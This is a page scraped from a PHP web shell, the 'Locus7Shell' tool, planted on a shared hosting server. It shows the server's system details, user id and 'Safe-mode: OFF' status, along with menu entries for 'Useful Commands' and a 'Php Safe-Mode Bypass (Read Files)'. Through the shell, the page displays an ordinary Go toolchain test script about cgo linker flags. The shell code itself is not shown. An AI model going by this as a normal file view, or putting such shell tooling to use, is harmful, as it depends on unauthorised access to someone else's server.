![]() | |
|---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm003.cluster110.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/go/src/cmd/go/testdata/script/ drwxr-xr-x | |
| Viewing file: Select action/file-type: # Issue #42565
[!cgo] skip
# We can't build package bad, which uses #cgo LDFLAGS.
cd bad
! go build
stderr no-such-warning
# We can build package ok with the same flags in CGO_LDFLAGS.
env CGO_LDFLAGS=-Wno-such-warning -Wno-unknown-warning-option
cd ../ok
go build
# Build a main program that actually uses LDFLAGS.
cd ..
go build -ldflags=-v
# Because we passed -v the Go linker should print the external linker
# command which should include the flag we passed in CGO_LDFLAGS.
stderr no-such-warning
-- go.mod --
module ldflag
-- bad/bad.go --
package bad
// #cgo LDFLAGS: -Wno-such-warning -Wno-unknown-warning
import "C"
func F() {}
-- ok/ok.go --
package ok
import "C"
func F() {}
-- main.go --
package main
import _ "ldflag/ok"
func main() {}
|
Useful Commands
|
|
Php Safe-Mode Bypass (Read Files)
|
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0055 ]-- |